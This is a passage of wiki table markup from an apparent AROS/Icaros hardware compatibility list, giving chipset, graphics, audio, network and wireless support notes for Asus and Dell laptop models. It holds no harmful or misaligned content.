| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;x51R X51RL || &lt;!--Chipset--&gt;Duo T2250 T2330 with RS480 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA RC410 [Radeon Xpress 200M]}} || &lt;!--Audio--&gt;{{Yes|HD with  codec}} || &lt;!--USB--&gt;{{Maybe|boots and detects}} || &lt;!--Ethernet--&gt;{{Yes|RTL-8139}} || &lt;!--Wireless--&gt;{{No|Atheros AR5006EG AR5111 ath5k AzureWave AW-GE780 - could be ATI Chipset}} || &lt;!--Test Distro--&gt;Icaros 2.2, deadwood 2021,  || &lt;!--Comments--&gt;2003 32bit 15.4 WXGA - 19v barrel - ESC boot select - F2 bios - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Asus R2H Ultra Mobile PC UMPC || &lt;!--Chipset--&gt;Celeron 900Mhz 910GML || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA900 || &lt;!--Audio--&gt;Ac97 ALC880 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;realtek 8169 8101e || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit [https://www.youtube.com/watch?v=Jm4fOrqyj3g boots] 
|-
| &lt;!--Name--&gt;Asus A3 series A3F Ergo Ensis 211 RM || &lt;!--Chipset--&gt;P-M 1.6GHz to Core Duo with 950 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 945 || &lt;!--Audio--&gt;Ac97 ALC655 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8100CL 10/100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2004 32bit only 
|-
| &lt;!--Name--&gt;Z33  || &lt;!--Chipset--&gt;915 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;915GM || &lt;!--Audio--&gt;HD Audio ALC880 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt;Intel 2915ABG || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit Z33A Z33AE N5M N5A 
|-
| Z70A Z70V Z70Va M6A z7000 z7000a || i915 + ICH6 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|mobile 915GML}} || &lt;!--Audio--&gt;{{no|ICH6 HD Audio}} || &lt;!--USB--&gt;{{yes|USB2.0}} || &lt;!--Ethernet--&gt;{{no|Marvell 88E8001}} || {{no|Intel PRO 2200BG Fn / F2}} || Icaros 1.3 || 2005 32bit 
|-
| [http://www.progweb.com/en/2010/09/linux-sur-un-portable-asus-a6jm/ A6jm] A6JC || 945GM || IDE || SATA || {{yes|nVidia GeForce Go 7600 G70}} || {{no|HD Audio}} || {{yes|USB}} || {{yes|RTL8111 8168B}} || {{no|Intel 3945 ABG}} || Icaros  1.2.4 || 2006 32bit only 
|-
| &lt;!--Name--&gt;F3Jc || &lt;!--Chipset--&gt;945PM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;G72M Quadro NVS 110M, GeForce Go 7300 || &lt;!--Audio--&gt;D audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;realtek 8169 8111 || &lt;!--Wireless--&gt;Intel 3945 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 32bit - 
|-
| &lt;!--Name--&gt;X50GL F5GL || &lt;!--Chipset--&gt;T5800 with 965 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe}} || &lt;!--Gfx--&gt;{{Maybe|use VESA 2d - Nvidia 8200M G84 runs hot}} || &lt;!--Audio--&gt;{{No|HD Audio MCP79 with  codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|MCP79}} || &lt;!--Wireless--&gt;{{No|Atheros AR5B91 AW-NE77}} || &lt;!--Test Distro--&gt;Icaros 2.2 || &lt;!--Comments--&gt;2008 64bit not much support no display with nouveau - 19v barrel - ddr2 max 4gb - 
|-
| &lt;!--Name--&gt;ASUS G50 &amp; G51 series G50V G50Vt G51V G51VX G51J G51Jx G50VT X1 X5 ROG || &lt;!--Chipset--&gt;AMD64 with MCP71 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes}} || &lt;!--Gfx--&gt;nVidia GeForce 9800M GS (G94M) up to GT200 [GeForce GTX 260M] (G92M) || &lt;!--Audio--&gt;Nvidia HD Audio with  codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros L1C atl1c}} || &lt;!--Wireless--&gt;Atheros G or Intel || &lt;!--Test Distro--&gt;Icaros 2.3 || &lt;!--Comments--&gt;2009 64bit not all GPUs are failing but a much higher % failing early, 8x00 and 9x00 G84, G86, G92, G94, and G96 series chips dying - ddr2 max 4gb - 
|-
| &lt;!--Name--&gt;M50V M50 series || &lt;!--Chipset--&gt;Intel Core 2 Duo P8400 or T9400 with Intel PM45 ICH9 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|BIOS set to compatibility IDE mode}} || &lt;!--Gfx--&gt;NVIDIA GeForce 9600M GS or 9650M GT || &lt;!--Audio--&gt;HDAudio with Realtek ALC663 || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;{{Yes|rtl8169 realtek 8169 8111C}} || &lt;!--Wireless--&gt;{{unk|Intel 5100 or Atheros AR928X}}|| &lt;!--Test Distro--&gt;AROS One 2.0 USB || &lt;!--Comments--&gt;2009 64bit - 15.40 inch 16:10, 1680 x 1050 glossy - the &quot;Infusion&quot; design - heavy 3kg - ddr2 ram max 4gb - 
|-
| &lt;!--Name--&gt;Series F9 F9E F9dc F9f F9j F9s || &lt;!--Chipset--&gt;965GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Vesa}} || &lt;!--Audio--&gt;{{yes|HD Audio ALC660 playback}}  || &lt;!--USB--&gt;{{yes|works}}  || &lt;!--Ethernet--&gt;{{yes|RTL8169 }}  || &lt;!--Wireless--&gt;{{no|intel 3495 not working}}  || &lt;!--Test Distro--&gt;Icaros 1.41 || &lt;!--Comments--&gt;2009 64bit - ddr2 max 4gb - 
|-
| P52F SO006X || i3-370M || IDE || SATA || {{yes|nVidia G92 [GeForce 9800 GT] (2D)}} || {{no|Intel HD Audio}} || {{yes|2 USB2.0}} || {{no|Atheros AR8121 AR8113 AR8114 (l1e)}} || {{dunno}} || Icaros 1.3 || 2010 64bit - ddr3 slot - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Asus 
* X53U MB Ver K53U or K52U Asus K53U MB Ver K53U
* A53U XT2 X53B MB ver: K53BY (compal) 
|| &lt;!--Chipset--&gt;Slow atom like speed E-350 (2011), E-450 (2011) on AMD M780G, much slower C-50 C50 (2012), C-60 C60 on the AMD A50M dark brown plastic build || &lt;!--IDE--&gt;{{N/A|}} || &lt;!--SATA--&gt;{{yes|Set IN Bios IDE MODE}} || &lt;!--Gfx--&gt;{{Maybe|use VESA ATi 6310M, 6320M later 6250M or 6290M}} || &lt;!--Audio--&gt;{{Yes|HD audio with alc269 codec Altec Lansing® Speakers}} || &lt;!--USB--&gt;{{Yes|3 x USB2}} || &lt;!--Ethernet--&gt;{{Unk|rtl8169 with RTL8111 phy}} || &lt;!--Wireless--&gt;{{unk|Atheros half height ar9285}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.2 and 2018 AROS One 1.6 USB || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 15.6in 1368 x 768 dull 50% srgb screen - f2 bios setup, esc boot drive - 5200 or 7800 mAh battery covers ASUS K53S K53E X54C X53S K84L X53SV X54HR K53F X53U laptops - 2 DDR3L slots max 8Gb - 19v barrel 5.5 / 2.5 mm - 
|-
| &lt;!--Name--&gt;Asus K53T, Asus A53Z X53Z
|| &lt;!--Chipset--&gt;AMD A4-3305M on AMD M780G, A6-3420M dark brown plastic build || &lt;!--IDE--&gt;{{N/A|}} || &lt;!--SATA--&gt;{{yes|Set IN Bios IDE MODE}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD 6520G, 7670M}} || &lt;!--Audio--&gt;{{Yes|HD audio with  codec}} || &lt;!--USB--&gt;{{Yes|3 x USB2}} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 with RTL8111 phy}} || &lt;!--Wireless--&gt;{{No|Atheros half height}} || &lt;!--Test Distro--&gt;AROS One USB || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 15.6in 1368 x 768 dull 50% srgb screen - f2 bios setup, esc boot drive - 2 DDR3L slots max 8Gb - 19v barrel 5.5 / 2.5 mm - Altec Lansing® Speakers - 
|-
| &lt;!--Name--&gt;X55U X401U X501U 1225B || &lt;!--Chipset--&gt;slow C-60 C60, C-70 C70 or E1 1200 E2 1800 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;6290G || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;Realtek 8111 8169 || &lt;!--Wireless--&gt;{{unk| Atheros AR9485}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 -  11.6&quot; display - ram soldered - 
|-
| &lt;!--Name--&gt;Asus A43TA A53TA K53TA XE2 A73T || &lt;!--Chipset--&gt;AMD A4-3300M, A6 3400M (laptop chip) || &lt;!--IDE--&gt;{{N/A|}} || &lt;!--SATA--&gt;{{yes|Set IN Bios IDE MODE}} || &lt;!--Gfx--&gt;{{Maybe|use VESA AMD Radeon HD 6520G Integrated + HD 6470M (1GB GDDR3)}} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Unk|}} || &lt;!--Wireless--&gt;{{No|Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - f2 bios setup, esc boot drive - 
|-
| &lt;!--Name--&gt;X102BA || &lt;!--Chipset--&gt;Llano E1 1200 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes|ide bios setting}} || &lt;!--Gfx--&gt;Radeon HD 8180 || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;RTL8101E RTL8102E || &lt;!--Wireless--&gt;{{unk| Qualcomm Atheros AR9485}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 - 10.1” Touchscreen - special asus 45w ac adapter - 
|-
| &lt;!--Name--&gt;K55N, K75DE || &lt;!--Chipset--&gt;AMD a6 4400M A8 4500M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;AMD 7640G || &lt;!--Audio--&gt;HD Audio with ALC codec none through ATi Trinity HDMI || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;rtl8169 || &lt;!--Wireless--&gt;{{unk| Atheros AR9485}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does support AVX or SSE 4.1 - 17.3-inch - 
|-
| &lt;!--Name--&gt;X452EA X552EA F552E || &lt;!--Chipset--&gt;AMD E1 2100 or A4 5000M A8 4500M A10 4600M with A || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA for AMD ATI Sun XT Radeon HD 8330 8670A 8670M 8690M}} || &lt;!--Audio--&gt;{{Yes|AMD FCH Azalia rev 02 with ALC898 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{{Yes|Realtek RTL8111 8168 8411}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9485}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 || &lt;!--Comments--&gt;2013 64bit may support avx kabini trinity - 
|-
| &lt;!--Name--&gt;Asus ROG G751GY || &lt;!--Chipset--&gt;Intel i7-4720HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 980M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 
|-
| &lt;!--Name--&gt;Asus ROG G752VY || &lt;!--Chipset--&gt;Intel i7-6700HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 980M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;Asus X555Y || &lt;!--Chipset--&gt;AMD A6-7210 A8-7410 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R5}} || &lt;!--Audio--&gt;{{unk|HD Audio codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 Realtek}} || &lt;!--Wireless--&gt;{{no| }}Realtek || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit does support AVX or SSE 4.1 - 4gb soldered with 1 ddr3 slot - silver-colored plastic - internal battery - 
|-
| &lt;!--Name--&gt;Asus X555B X555DG X555S X555U X555YI X555LAB || &lt;!--Chipset--&gt;Intel Core i5-4210U to  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Intel}} || &lt;!--Audio--&gt;{{No|HDAudio  with coxenant and realtek alc codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe|Realtek}} || &lt;!--Wireless--&gt;{{no| }}Realtek || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit does support AVX or SSE 4.1 - 4gb soldered with 1 ddr3 slot - silver-colored plastic - internal battery - 
|-
| &lt;!--Name--&gt;Asus X555D || &lt;!--Chipset--&gt;AMD A10-8700P || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{unk|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R6}} || &lt;!--Audio--&gt;{{unk|HD Audio codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 15.6in 1366 x 768 - 4gb soldered with 1 ddr3 slot - silver-coloured plastic - internal battery - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;ASUS X555Q || &lt;!--Chipset--&gt;AMD® Bristol Ridge A10-9600P 7th Gen, A12-9720p || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface}} || &lt;!--Gfx--&gt;{{Maybe|R5 + Radeon™ R6 M435DX Dual Graphics with VRAM GCN 3}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|Realtek 8821AE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit - FHD 15.6 1920x1080 - 37W battery internal - 4gb soldered with 1 ddr3 slot - internal battery - 
|-
| &lt;!--Name--&gt;ASUS M509ba  || &lt;!--Chipset--&gt;AMD A9-9425  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|2.5&quot; and mSATA form factors using SATA Rev 3.0 interface}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for RADEON R5}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 15.6in 1366 x 768 - 1 ddr4 sodimm slot max 16Gb - 19VDC 2.37A Max 45W 4.0mm x 1.35mm - keyboard swap problematic - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;ExpertBook P1410, ASUS ExpertBook P1 P1510CD, Expertbook Y1511CD || &lt;!--Chipset--&gt;Ryzen 3 3200U, Ryzen 5 3500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;Nvme || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for AMD}} || &lt;!--Audio--&gt;{{unk|HDaudio with codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit 14in or 15.6in 768p to 1080p - keyboard swap problematic - 19V 3.42A asus barrel connector 4.0MM X 1.35MM 4phi - 
|-
| &lt;!--Name--&gt;ASUSTeK ASUS EXPERTBOOK L1 L1400CDA, L1500CDA - 19v 3.42a 4.5phi Barrel with centre pin Outer 4.5mm Inner 3mm asus special untested EXA1203XH, EXA1203YH, EXA1208UH, PA-1650-30, PA-1650-78, PA-1650-93, ADP-65GD B, ADP-65DW B (Euro) || &lt;!--Chipset--&gt;'''tested''' Ryzen 5 3500U - '''untested''' Ryzen 3 3200U, 3250U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 Nvme m.2 slot will not boot with sata3 m.2, optional 1 sata hdd with ribbon cable, no dvd drive}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for AMD vega 3, 8}} || &lt;!--Audio--&gt;{{unk|HDaudio 0x15de 0x15e3 with ALC256 codec 0x10ec 0x0256}} || &lt;!--USB--&gt;{{maybe|USB3 1 usb-c and 3 usb-a }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111HSH-CG }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt;3500U with AROS One 64bit 1.2 usb installed to m.2 sata on another machine || &lt;!--Comments--&gt;2019 64bit 14in or 15.6in 1080p - keyboard swap problematic - up to 8Gb ddr4 sodimm soldered on board and 1 slot - micro sd card slot on some models  - 42Whr B31N1915 C31N1915 C31N2204 - hold down F2 and press power for bios setup - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


==== Dell ====

[[#top|...to the top]]

Order of build quality (Lowest to highest) 
&lt;pre &gt;
Studio 
Inspiron 
Vostro 
XPS
Alienware  
Precision 
Latitude 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;10%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Latitude CP 233GT, CPi d233xt d266xt D300XT a366xt, CPt S400GT S500GT S550GT S600GT S700ST, CPt C333GT C400GT || &lt;!--Chipset--&gt;Neo Magic || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - Neo magic Magic Media 2160 2360 256ZX || &lt;!--Audio--&gt;{{No|crystal pnp 4237b or magic media 256zx sound nm2360}} || &lt;!--USB--&gt;USB 1.1 || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit Low-Density 16-chip 144p 144-pin 32Mx64 3.3V SODIMM - 
|-
| &lt;!--Name--&gt;Dell Latitude CPx H450GT H500GT H Series, CPt V433GT V466GT V600, Inspiron 5000 || &lt;!--Chipset--&gt;Intel 440BX with Pentium 3M (CPx) or Celeron (CPt) || &lt;!--IDE--&gt;{{{Yes| }} || &lt;!--SATA--&gt;{{N/A| }} || &lt;!--Gfx--&gt;{{Maybe|Use Vesa - ATi Rage Pro Mobility M1}} || &lt;!--Audio--&gt;{{No|ESS ES1978 Maestro 2E Canyon 3D}} || &lt;!--USB--&gt;{{Yes|1 slot 1.1 only}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A| }} || &lt;!--Test Distro--&gt;NB May 2013 || &lt;!--Comments--&gt;1998 32bit - 3 pin PA-6 PA6 power adapter plug - CDROM DVD Cxxx family media bay accessories untested 
|-
| &lt;!--Name--&gt;Latitude C500 C600 (Quanta TM6) Inspiron 4000 7500, CPx J Series || &lt;!--Chipset--&gt;440BX ZX/DX || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|ATI Rage 128Pro Mobility M3 (VESA only)}} || &lt;!--Audio--&gt;{{no|ES1983S Maestro 3i}} || &lt;!--USB--&gt;{{yes|USB 1.1 only}} || &lt;!--Ethernet--&gt;{{N/A|some models had mini pci e100}}|| &lt;!--Wireless--&gt;{{N/A|a few came with internal antenna wiring}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;1999 square 3 pin charger PA9 PA-9 - C/Dock II untested - C/Port untested - Parallel to Floppy cable untested - CPx J600GT J650GT J700GT J750GT J800GT J850GT 
|-
| &lt;!--Name--&gt;Latitude C510 C610 Insprion 4100 PP01L 2600 || &lt;!--Chipset--&gt;i830 and 1GHz+ P3-M ||  &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{partial|use VESA - ATI Radeon Mobility M6}} || &lt;!--Audio--&gt;{{No|AC97 CS4205}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{yes|3Com Etherlink}} || &lt;!--Wireless--&gt;{{Maybe|internal antenna wiring for an Atheros mini pci card}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2000 poor build quality - hard to find in good working order 
|-
| &lt;!--Name--&gt;Latitude C400 || &lt;!--Chipset--&gt;Intel 830 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Intel 830 CGC}} || &lt;!--Audio--&gt;{{No|ac97 Crystal 4205}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Yes|3Com 3c905C TX/TX-M}} || &lt;!--Wireless--&gt;{{N/A| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2000 Slim for the time - no media bays 
|-
| &lt;!--Name--&gt;Latitude C640 (Quanta TM8) C840 Inspiron 8k2 8200 i8200 precision m50 || &lt;!--Chipset--&gt;P4M with 845EP || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA if ATi - use nouveau if 64mb Nvidia Gforce 4 440 Go  || &lt;!--Audio--&gt;AC97 CS4205 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;3com 905c || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 C640 had one fan so was noisy and hot - C840 had 2 fans and ran slightly cooler but fan noise louder
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| Latitude D400 || P-M 82845 || {{yes|82801 ide}} || {{N/A}} || {{partial|VESA only}} || {{yes|AC97 Audio playback only}} || {{maybe|USB 2.0}} || {{maybe|PRO 100 VM (KM)}} || {{no|BCM4318 AirForce one 54g replace with atheros 5k mini pci}} || &lt;!--Test Distro--&gt; Icaros 1.2.4 || 2003 32bit might boot from USB stick but won't boot from USB-DVD - no sd card slot - power plug style - 
|-
| Latitude D500 / D505 PP10L, Inspiron 510m 
|| 855GME 
* revA00
* revA03
* revA06
